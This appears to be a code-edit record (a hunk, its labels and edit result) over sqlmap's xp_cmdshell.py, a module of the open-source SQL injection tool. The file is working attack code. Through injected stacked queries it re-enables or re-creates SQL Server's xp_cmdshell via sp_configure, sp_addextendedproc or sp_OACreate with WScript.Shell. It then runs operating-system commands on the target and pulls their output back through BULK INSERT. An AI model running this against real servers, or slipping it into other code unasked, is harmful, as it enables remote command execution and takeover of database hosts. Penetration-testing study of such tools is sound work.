hunk.code_window:             return True
           else:
               return False
       def xpCmdshellForgeCmd(self, cmd):
           return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
       def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
           if forgeCmd:
               cmd = self.xpCmdshellForgeCmd(cmd)
  
hunk.labels: keep keep keep keep keep replace keep keep keep keep
hunk.after_edit:         forgedCmd = "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
           forgedCmd = urlencode(forgedCmd, convall=True)
           return forgedCmd
  
hunk.file_path: lib/takeover/xp_cmdshell.py
hunk.type: replace
file: #!/usr/bin/env python
  
  """
  $Id$
  
  This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
  
  Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
  Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
  
  sqlmap is free software; you can redistribute it and/or modify it under
  the terms of the GNU General Public License as published by the Free
  Software Foundation version 2 of the License.
  
  sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
  WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
  details.
  
  You should have received a copy of the GNU General Public License along
  with sqlmap; if not, write to the Free Software Foundation, Inc., 51
  Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
  """
  
  from lib.core.common import randomStr
  from lib.core.common import readInput
  from lib.core.convert import urlencode
  from lib.core.data import conf
  from lib.core.data import kb
  from lib.core.data import logger
  from lib.core.exception import sqlmapUnsupportedFeatureException
  from lib.request import inject
  from lib.techniques.blind.timebased import timeUse
  
  class xp_cmdshell:
      """
      This class defines methods to deal with Microsoft SQL Server
      xp_cmdshell extended procedure for plugins.
      """
  
      def __init__(self):
          self.xpCmdshellStr = "master..xp_cmdshell"
  
      def __xpCmdshellCreate(self):
          cmd = ""
  
          if kb.dbmsVersion[0] in ( "2005", "2008" ):
              logger.debug("activating sp_OACreate")
  
              cmd += "EXEC master..sp_configure 'show advanced options', 1; "
              cmd += "RECONFIGURE WITH OVERRIDE; "
              cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
              cmd += "RECONFIGURE WITH OVERRIDE; "
              self.xpCmdshellExecCmd(cmd)
  
          self.__randStr = randomStr(lowercase=True)
  
          cmd += "declare @%s nvarchar(999); " % self.__randStr
          cmd += "set @%s='" % self.__randStr
          cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
          cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
          cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
          cmd += "EXEC sp_OADestroy @ID'; "
          cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
  
          if kb.dbmsVersion[0] in ( "2005", "2008" ):
              cmd += " RECONFIGURE WITH OVERRIDE;"
  
          self.xpCmdshellExecCmd(cmd)
  
      def __xpCmdshellConfigure2005(self, mode):
          debugMsg  = "configuring xp_cmdshell using sp_configure "
          debugMsg += "stored procedure"
          logger.debug(debugMsg)
  
          cmd  = "EXEC master..sp_configure 'show advanced options', 1; "
          cmd += "RECONFIGURE WITH OVERRIDE; "
          cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode
          cmd += "RECONFIGURE WITH OVERRIDE; "
          cmd += "EXEC sp_configure 'show advanced options', 0"
  
          return cmd
  
      def __xpCmdshellConfigure2000(self, mode):
          debugMsg  = "configuring xp_cmdshell using sp_addextendedproc "
          debugMsg += "stored procedure"
          logger.debug(debugMsg)
  
          if mode == 1:
              cmd  = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
              cmd += "@dllname='xplog70.dll'"
          else:
              cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
  
          return cmd
  
      def __xpCmdshellConfigure(self, mode):
          if kb.dbmsVersion[0] in ( "2005", "2008" ):
              cmd = self.__xpCmdshellConfigure2005(mode)
          else:
              cmd = self.__xpCmdshellConfigure2000(mode)
  
          self.xpCmdshellExecCmd(cmd)
  
      def __xpCmdshellCheck(self):
          query    = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
          duration = timeUse(query)
  
          if duration >= conf.timeSec:
              return True
          else:
              return False
  
      def xpCmdshellForgeCmd(self, cmd):
          return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
  
      def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
          if forgeCmd:
              cmd = self.xpCmdshellForgeCmd(cmd)
  
          cmd = urlencode(cmd, convall=True)
  
          inject.goStacked(cmd, silent)
  
      def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
          self.getRemoteTempPath()
  
          tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
          cmd     = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
  
          self.xpCmdshellExecCmd(cmd)
  
          inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
  
          self.delRemoteFile(tmpFile)
  
          output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
          inject.goStacked("DELETE FROM %s" % self.cmdTblName)
  
          if isinstance(output, (list, tuple)):
              output = output[0]
  
              if isinstance(output, (list, tuple)):
                  output = output[0]
  
          return output
  
      def xpCmdshellInit(self):
          self.__xpCmdshellAvailable = False
  
          infoMsg  = "checking if xp_cmdshell extended procedure is "
          infoMsg += "available, wait.."
          logger.info(infoMsg)
  
          result = self.__xpCmdshellCheck()
  
          if result:
              logger.info("xp_cmdshell extended procedure is available")
              self.__xpCmdshellAvailable = True
  
          else:
              message  = "xp_cmdshell extended procedure does not seem to "
              message += "be available. Do you want sqlmap to try to "
              message += "re-enable it? [Y/n] "
              choice   = readInput(message, default="Y")
  
              if not choice or choice in ("y", "Y"):
                  self.__xpCmdshellConfigure(1)
  
                  if self.__xpCmdshellCheck():
                      logger.info("xp_cmdshell re-enabled successfully")
                      self.__xpCmdshellAvailable = True
  
                  else:
                      logger.warn("xp_cmdshell re-enabling failed")
  
                      logger.info("creating xp_cmdshell with sp_OACreate")
                      self.__xpCmdshellConfigure(0)
                      self.__xpCmdshellCreate()
  
                      if self.__xpCmdshellCheck():
                          logger.info("xp_cmdshell created successfully")
                          self.__xpCmdshellAvailable = True
  
                      else:
                          warnMsg  = "xp_cmdshell creation failed, probably "
                          warnMsg += "because sp_OACreate is disabled"
                          logger.warn(warnMsg)
  
          if not self.__xpCmdshellAvailable:
              errMsg = "unable to proceed without xp_cmdshell"
              raise sqlmapUnsupportedFeatureException, errMsg
  
          debugMsg  = "creating a support table to write commands standard "
          debugMsg += "output to"
          logger.debug(debugMsg)
  
          self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")
  